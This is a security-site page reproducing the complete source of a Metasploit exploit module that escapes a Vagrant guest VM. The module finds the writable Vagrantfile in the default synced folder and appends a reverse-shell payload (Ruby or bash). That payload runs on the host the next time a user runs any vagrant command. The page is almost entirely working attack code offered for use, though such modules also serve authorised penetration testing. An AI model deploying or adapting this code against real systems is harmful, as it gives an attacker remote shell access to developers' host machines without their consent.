Vagrant Synced Folder Vagrantfile Breakout

2022.10.27
Credit: Brendan Coles
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::File prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Vagrant Synced Folder Vagrantfile Breakout', 'Description' => %q{ This module exploits a default Vagrant synced folder (shared folder) to append a Ruby payload to the Vagrant project Vagrantfile config file. By default, unless a Vagrant project explicitly disables shared folders, Vagrant mounts the project directory on the host as a writable 'vagrant' directory on the guest virtual machine. This directory includes the project Vagrantfile configuration file. Ruby code within the Vagrantfile is loaded and executed when a user runs any vagrant command from the project directory on the host, leading to execution of Ruby code on the host. }, 'License' => MSF_LICENSE, 'Author' => [ 'HashiCorp', # Vagrant defaults 'bcoles' # Metasploit ], 'DisclosureDate' => '2011-01-19', # Vagrant 0.7.0 release date - first mention of shared folders in CHANGELOG 'Platform' => %w[ruby], 'Arch' => ARCH_ALL, 'SessionTypes' => [ 'shell', 'powershell', 'meterpreter' ], 'Stance' => Msf::Exploit::Stance::Passive, 'DefaultOptions' => { 'DisablePayloadHandler' => true }, 'Targets' => [ [ 'Ruby Code', { 'Platform' => 'ruby', 'Arch' => ARCH_RUBY, 'Type' => :ruby, 'DefaultOptions' => { 'PAYLOAD' => 'ruby/shell_reverse_tcp' } } ], [ 'Unix Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_cmd, 'Payload' => { 'BadChars' => '`' }, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } } ] ], 'DefaultTarget' => 0, 'References' => [ ['URL', 'https://www.vagrantup.com/docs/synced-folders'], ['URL', 'https://www.virtualbox.org/manual/ch04.html#sharedfolders'] ], 'Notes' => { 'Reliability' => [ REPEATABLE_SESSION ], 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES ] } ) ) register_options([ OptString.new('VAGRANTFILE_PATH', [false, 'Path to Vagrantfile (leave blank to auto detect)', '']) ]) end # Search potential default shared directories for Vagrantfile configuration file def find_vagrantfile_path unless datastore['VAGRANTFILE_PATH'].blank? return exists?(datastore['VAGRANTFILE_PATH']) ? datastore['VAGRANTFILE_PATH'] : nil end # Default Vagrant synced folders (aka shared folders) default_shared_directories = [ 'C:\\vagrant\\', '/vagrant/' ] default_shared_directories.each do |dir_path| begin vagrant_shared_dir_contents = dir(dir_path) rescue Rex::Post::Meterpreter::RequestError next end next if vagrant_shared_dir_contents.empty? # Vagrant project configuration file name is case-insensitive (typically "Vagrantfile") vagrant_shared_dir_contents.each do |fname| return "#{dir_path}#{fname}" if fname.downcase == 'vagrantfile' end end nil end def vagrantfile @vagrantfile ||= find_vagrantfile_path end def check return CheckCode::Safe('Vagrantfile not found.') unless vagrantfile # `writable?' method does not support Windows systems begin return CheckCode::Detected("#{vagrantfile} is not writable.") unless writable?(vagrantfile) rescue RuntimeError return CheckCode::Detected("Could not verify if #{vagrantfile} is writable.") end CheckCode::Appears("#{vagrantfile} is writable!") end def exploit fail_with(Failure::NotVulnerable, 'Could not find Vagrantfile') unless vagrantfile case target['Type'] when :ruby data = payload.encoded when :unix_cmd data = "`#{payload.encoded}`" else fail_with(Failure::NoTarget, 'No target selected') end print_status("Appending payload (#{data.length} bytes) to #{vagrantfile} ...") unless append_file(vagrantfile, "\n#{data}\n") fail_with(Failure::Unknown, "Could not write to #{vagrantfile}") end print_status("Payload appended to #{vagrantfile}") print_status('The payload will be executed when a user runs any vagrant command from within the project directory on the host system.') print_warning("This module requires manual removal of the payload from the project Vagrantfile: #{vagrantfile}") end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2022, cxsecurity.com

 

Back to Top